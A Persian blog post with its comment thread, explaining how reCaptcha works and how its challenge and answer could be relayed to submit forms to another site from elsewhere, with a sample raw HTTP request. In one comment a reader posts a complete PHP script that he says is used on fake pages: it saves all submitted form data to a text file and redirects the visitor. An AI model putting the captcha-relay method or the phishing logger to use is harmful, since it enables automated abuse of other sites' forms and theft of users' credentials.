همه چیز درباره‌ی reCaptcha !

reCaptcha یک وب سرویس برای تولید و اعتبار سنجی کدهای امنیتی (Captcha) می باشد که ساخت شرکت گوگل میباشد.

طرز کار این سرویس تا جایی که من تحقیق کردم، به این صورت است که ابتدا در آدرس زیر ثبت نام می کنید:
google.com/recaptcha
و یک کلید خصوصی و یک کلید عمومی دریافت می کنید. بعد، در سورس HTML صفحه، کلید عمومی را قرار می دهید. روند کار به طور خلاصه و فشرده این است:

  1. وقتی کاربر صفحه‌ی شامل reCaptcha را باز می کند، کلید عمومی به گوگل ارسال می شود. و گوگل هم یک تصویر و یک کد Challenge Code برمی گرداند. و تصویر به کاربر نمایش داده می شود.
  2. کاربر تصویر را حل می کند و فرم را ارسال می کند.
  3. موقع ارسال فرم، چند تا متغیر POST به سایت ارسال می شود:
    • Captcha Challenge Field (که همان مقدار ارسالی گوگل است)
    • Captcha Response Field (که جوابی است که کاربر تایپ کرده است)

     این دو تا فیلد به سایت ارسال می شود.

  4. سرور، این دو تا فیلد و همچنین فیلد Private Key را به گوگل ارسال می کند.
  5. گوگل در صورتی که تایید کرد یا تایید نکرد، نتیجه را به سرور ما برمیگرداند.
  6. اسکریپت موجود در سرور، با توجه به پاسخ گوگل می تواند بفهمد فرم باید تایید شود یا باید رد شود.

البته فرایند فوق ممکن است دقیق نباشد. شما اگر روش دقیق را می دانید، لطفا برای من کامنت ارسال کنید تا مطلب اصلاح کنم.

با توجه به موارد بالا، برای کپی کردن Captcha از یک سایت دیگر، کافی است کد Public Key را به گوگل ارسال کنیم و تصویر و Challenge Field را از گوگل بگیریم. بعد تصویر را به کاربر نشان دهیم
پاسخ کاربر را هم همراه با دو فیلد بالا به سایت اصلی (که Captcha را از آن کپی کرده ایم) ارسال کنیم. بقیه ی کارها با سرور است و دیگر لازم نیست که کلید خصوصی را بدانیم!

البته توجه کنید که به این کار نمی شود گفت که "reCaptcha را هک کرده ایم". این هک نیست و از ویژگی های گوگل است

reCaptcha را تا حالا نشنیده و ندیده ام که کسی هک کند...

دسته بندی‌ها: 

دیدگاه‌ها

سلام خدمت شما دوست عزیز عرض کنم طبق گزارشاتی که در فرم های گوگل ریکپچا چندین مورد توسط بات و OCR هک شده و فکر میکنم به همین دلیل هر روز تصاویر آن سخت تر میشود.
و اگر هر challenge دارای response خاص خود باشد که در یک سایت پر بازدید با سیو کردن challenge و response ها میتوان به راحتی یک بات نوشت که ریکپچا را هک کند !
در مورد استفاده از فرم سایت دیگر باید گفت از طریق متد گفته شده شما فقط میتوان فرم ساخته شده را ارسال کرد ولی نمیتوان ولیدیت را در وب سرور خود انجام داد
ولیدیت ملزم به ریدایرکت شدن میشود و حتی نمیتوان جلوی ریدایرکت رو گرفت !
اگر راه بهتری پیدا کردید ما رو هم در جریان بگزارید ممنون

راستی این
""
تگ شما نیاز به margin یا right شدن دارد.

1 - با OCR نمی دانم هک می شود یا خیر. اخیرا شنیدم که همه جور Captcha ای رو هک کرده اند ولی کسی نتوانسته reCaptcha را هک کند. و خوب البته حق با شما است. من هم در جریان هستم که گوگل تصاویر Captcha رو سخت تر می کند. ولی این طور هم نیست که خیلی راحت هک شود. من قبلا که از Captcha ی معمولی استفاده می کردم، مرتبا برای من اسپم ارسال می شد. ولی از وقتی که reCaptcha را در سایت فعال کردم، دیگر اسپم ندارم. در عوض تعداد بیشماری ارسال فرم شکست خورده دارم!

2 - این ایده که Challenge و Response های نظیر را ذخیره کنیم، به ذهن من هم رسیده بود و هنوز آن را آزمایش نکردم. اگر شما آزمایش کردید، لطفا نتیجه را به من هم اطلاع دهید. گرچه بعید هم می دانم که کار زیاد ساده ای باشد. چون که از کجا می خواهید Challenge ها و عکس ها را به دست بیاورید؟ بعد هم چگونه می خواهید پاسخ آن را به دست بیاورید؟ مگر این که وقت بگذارید و یکی یکی reCaptcha ها را حل کنید! (که این در واقع تعریف مسئله است نه حل مسئله!)

3 - بله، با روشی که گفتم، نمی شود Validation را در سرور خودمان انجام دهیم. در عوض، اعتبار سنجی در سایت هدف انجام می گیرد و ما از روی کد HTML ای که سایت بازمیگرداند، (یا از روی Http Status code) می توانیم بفهمیم که آیا اعتبار سنجی موفقیت آمیز بوده یا خیر.
من برای این منظور برنامه نوشته ام و این مسئله را آزمایش کرده ام. البته ممکن است در شرایط من درست کار کرده باشد و در برخی شرایط مشکلاتی داشته باشد.

داشتن redirect فکر نمی کنم که مشکلی به وجود بیاورد. چون که ما در سیستم خودمان از تابع fsockopen() در php استفاده می کنیم (یا توابع مشابه دیگر در زبان های دیگر) و query را توسط برنامه به سایت ارسال می کنیم و جواب را نیز در برنامه دریافت می کنیم. ریدایرکت شدن هم فقط یک امر مجازی است و در کل ریدایرکت شدن فرم به این معنی است که یک هدر http در پاسخ برمی گردد.
در هر صورت با روشی که گفتم، به طور قطع می توان فرم یک سایت دیگر را در سیستم خودمان کپی کنیم. (البته در حالتی که خوش شانس باشیم. چون در برخی شرایط سیاست های امنیتی سایت و اعتبار سنجی فرم پیشرفته تر است. به عنوان نمونه می توانم اعتبار سنجی فرم در دروپال را نام ببرم)
بعلاوه در گوگل، موقع ثبت نام برای reCaptcha، از ما می پرسد که این جفت کلید ها را برای یک دامین خاص می خواهید یا برای همه ی دامین ها. که اگر فقط برای یک دامین خاص ثبت شود، باز هم به احتمال زیاد کار سخت تر می شود (تست نکرده ام)

4 - منظور شما از تگ "" چیست؟

لازم نیست خودمان تک تک همه ریکپچا ها رو حل کنیم در یک سایت پر بازدید اگر استفاده شود میتوانیم از طریق

<?php
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
?>

میتوان تمامی ارسال های اشخاص دیگر را سیو کرد بنده حتما تست میکنم و اینجا برای شما نیز ارسال میکنم

بله میتوان حتی به وسیله جاوا بعد از سابمیت طوری صفحه را ریدایرکت کرد که فرصت نکند به صفحه سایت دیگر ریدارکت شود.ولی راجب گرفتن پاسخ... !!؟

اگر بتوانید به وسیله یک مثال در همین سایت یک آموزش قرار دهید فکر میکنم مطلب قابل بحث و بسیار آموزنده ای شود.

 

منظور از تگ ""   ، تگ اینپوت recaptcha_response_field که در ریکپچا شما قرار دارد هست

 

من نمی دانم که کد زیر چه فایده دارد:

$value) { fwrite($handle, $variable); ?> به احتمال زیاد، هر جفت Challenge و Response فقط یک بار می تواند استفاده شود. بنا بر این به احتمال بسیار زیاد این روش موفقیت آمیز نخواهد بود.

(کلا من که اعتقاد دارم گوگل هوشمند تر از این است که به این تابلویی باگ داشته باشد :) این باگی که شما از آن حرف می زنید، خیلی بعید است که گوگل داشته باشد!)

بعد هم در خصوص redirect شدن باید بگویم، شما چرا با جاوا اسکریپت می خواهید این کار را انجام دهید؟ کمی سطح دید خود را پایین تر بیاورید و از لایه ی پایین به قضیه فکر کنید: فرض کنید اصلا مرورگری در کار نیست و ما می خواهیم ارسال تقاضای HTTP و دریافت پاسخ آن را خودمان دستی پیاده سازی کنیم (یعنی پروتکل  HTTP را دستی پیاده سازی کنیم)

الان مشگل ریکپچا حل شد
ولی استایل کل کامنت ها چپ چین شد
فکر میکنم نیاز نباشد برای درست کردنش استایل کل صفحه رو عوض کنید فقط برای آن تگ...

راحب کدی که نوشتم نسخه کامل آن کد به این صورت میباشد :
<?php
header("Location: http://Anything.com/");
$handle = fopen("َُSAVE.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

این کد بیشتر در FAKE Page ها استفاده میشود و اطلاعات ارسالی فرم را در یک فایل متنی سیو میکند که اینجا اسم آن فایل SAVE.txt هست.

منتظر قرار دادن سورس و آموزش شما هستیم
ممنون

این سورس کدی که شما گذاشتید، اصلا منظور من نبود!
منظور من استفاده از fsockopen بود! سورس نمونه را در همین مطلب قرار می دهم. (مطلب را مجددا بخوانید)

بله الان مشکل با حذف ادیتور حل شده است
کلا بدون ادیتور بهتر است.معمولا با ادیتور ها باگ ها و مشگلات همراه هستند
البته برای دروپال فارسی فقط مشکل ساز هستند و ایراد امنیتی ایجاد نمیکنند
در سیستم های دیگر که حتی باعث ایجاد باگ های XSS و یا حتی منچر به آپلود شل نیز میشود
معمولا از Firefox Version 9 استفاده میکنم ولی بقیه مرورگرها رو نیز روی سیستم دارم

من سورس نمونه ام را به مطلب ضمیمه کردم. این سورس در واقع مال یک پروژه ی بزرگ بوده که عجالتا آن را کپی کردم و attache کردم.
شما زیاد به تابع send_http_request توجه نکنید. این تابع نسبتا پیچیده است
بیشتر، منظور من چند خط اول برنامه است.
یک request را به سرور ارسال می کنیم و جواب را میگیریم
باز هم تاکید می کنم که با fsockopen این کار انجام می شود و خیلی ساده تر از این هاست. فقط باید دو تا فیلد Challenge و Response را ارسال کنید و منتظر پاسخ باشید.

تذکر: این سورس قابل اجرا نیست و فقط نمونه است (Excerpt است که عجالتا نوشته شده باید خودتان آن را ویرایش کنید.)

از روش خیلی جالبی استفاده کردید
بنده از php اطلاعات زیادی ندارم ولی کلیت کار رو متوجه شدم
الان مثلا فرم همین سایت شما را به عنوان تارگت استفاده کنیم (:دی) فرم html که میسازیم دارای ورودی هایی با نام های subject و homepage و ... و 'recaptcha_challenge_field'
'recaptcha_response_field'
باید باشد
حال این اطلاعات را از طریق فرم خود به فایل ضمیمه خود ارسال میکنیم.
این فایل شما به صورت خودکار تمامی فیلد های ورودی را میسازد و ارسال میکند؟
این امکان هست که این آموزش رو با نمونه سایت خود بسازید؟
یعنی فرض بر این که میخواهیم این فرم ارسال سایت شما را در localhost استفاده کنیم !

بعید می دانم که بتوانید این کار را روی سایت من انجام دهید! چون من جلوی این جور کارها رو در سایت خودم گرفته ام!
یعنی فرم ها در چند مرحله اعتبار سنجی دقیق می شوند!
---
در ضمن عذر می خواهم که این سوال را می پرسم، می خواستم بدانم که سایت
drupaleasy.ir
به شما تعلق دارد یا خیر؟
چون شما آدرس سایتتان را drupaleasy.ir وارد کرده اید.

خیر من سایت ندارم
و سایت drupaleasy چون بر پایه ی asp هست سایت مورد علاقه من هست و مطالب مربوط به دروپال رو در همه سایت های دروپالی دنبال میکنم
امیر مرجانی هم مثل شما از دوستانم هست
این آدرس رو چون مجبور بودم آدرس یک سایت رو وارد کنم وارد کردم.
سایت شما رو به عنوان مثال گفتم یا هر سایت دیگه
مهم تفهیم شدن این آموزش هست

خوب، این رو به عنوان تمرین به شما واگذار می کنم!
برای کامل شدن آموزش، همیشه بهتر است که دانشجو هم فعالیت کند.
من کلیت کار را گفتم و پیاده سازی آن با شما.
از اول هم که این مطلب را در سایت نوشتم، اصلا قصد نداشتم سورس بگذارم. فقط می خواستم کلیت مطلب را بگویم
وگرنه سورس نوشته شده که زیاد است :دی

دوباره سلام
در سورس نوشته شده شما در خط های 4 و 5 و 23 و 24 ارور وجود دارد !
خودتان تست کردید این سورس رو؟

Notice: Undefined variable: recaptcha_challenge_field in C:\xampp\htdocs\test\new2.php on line 4

Notice: Undefined variable: recaptcha_response_field in C:\xampp\htdocs\test\new2.php on line 5

Notice: Undefined property: stdClass::$request in C:\xampp\htdocs\test\new2.php on line 24

Notice: Undefined property: stdClass::$data in C:\xampp\htdocs\test\new2.php on line 25

عرض کردم که این سورس که ضمیمه کردم، ویرایش شده ی یک پروژه ی دیگر است. و من این را با عجله انجام دادم و به همین خاطر دارای ایراد می باشد. منظور، بیان ایده ی اصلی کار بود.

شما اصلا لازم نیست که از آن کد استفاده کنید. شما فقط باید یک کانکشن به سایت برقرار کنید، و سورس تقاضای HTTP را ارسال کنید. مثلا:

POST /script.cgi HTTP/1.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Cookie: {copy your cookies here}

{...}
Content-Length: 3254 status=0&date=2012-01-05+04%3A48+%2B0000&name=%D9%85%D8 ....{etc...}

این یک سورس نمونه تقاضای HTTP است که باید ارسال کنید. در صورتی که طرز کار این سورس را متوجه نمی شوید، باید قبل از هر چیز طرز کار یک اتصال HTTP را یاد بگیرید. که ربطی بحث این قسمت ندارد.

من میخواستم توسط اجرای کد شما متوجه بشم که کارش چجوریه !
من راجب این اتصال http خیلی search کردم چه فارسی و چه اینگلیسی ولی چیز خاصی نصیبم نشد متاسفانه ! داره بهم احساس بدی دست میده که هیچی حالیم نیست :دی
اگر شما وقت دارید لطفا آموزش های کامل تری قرار بدید که افرادی مثل من استفاده کنند
راجب این اتصال http اگر وقت نمیکنید که آموزش بزارید لطفا یک منبا معرفی کنید که خوب باشد.
اون ارور که در سورستون بود رو هم در صورت امکان بگوئید مشگل از کجاست !!!

با سلام
روشی شما فرمودید درست است
با curl هم میتوان این کار را انجام داد
ولی در جواب تماس HTTP برای ما یا header یا content را ارسال میکند
شما چطور از روی header یا content میخواهید تشخیص دهید که
captcha درست وارد شده است یا خیر
در کانتنت این جواب موجود هم اگر باشد باز هم کل صفحه لود میشود نه فقط جواب!
ممنون به خاطر سایت پر مغزتان
لطفا آموزش های دروپالی بیشتر قرار دهید

 البته برای کسانی که اطلاعات کمتری دارند عرض کنم که در صورت تماس با موفقیت http جواب header همیشه یکسان است

این که جواب در هدر ظاهر شود یا در content بستگی به سیستم مورد نظر (target) دارد. و به خود reCaptcha مربوط نیست.و ممکن است در برخی تارگت ها، جواب در هدر ظاهر شود.

از این گذشته، اگر جواب در محتوا باشد، باز هم لازم نیست کل محتوا دانلود شود. فقط سورس HTML (یا خروجی) صفحه لود می شود. کاری به استایل ها و تصاویر و ... نداریم.

چشم! تلاش می کنم که هر وقت مطلب جدیدی در مورد دروپال به دستم رسید، در این جا هم به اشتراک بگذارم.

سلام
خیلی توضیح جالبی بود؛ با ری کپچا آشنا شدم. دنبال همچین چیزی می گشتم که رایگان و امنیتی باشه که پیداش کردم.
ممنون.

افزودن دیدگاه جدید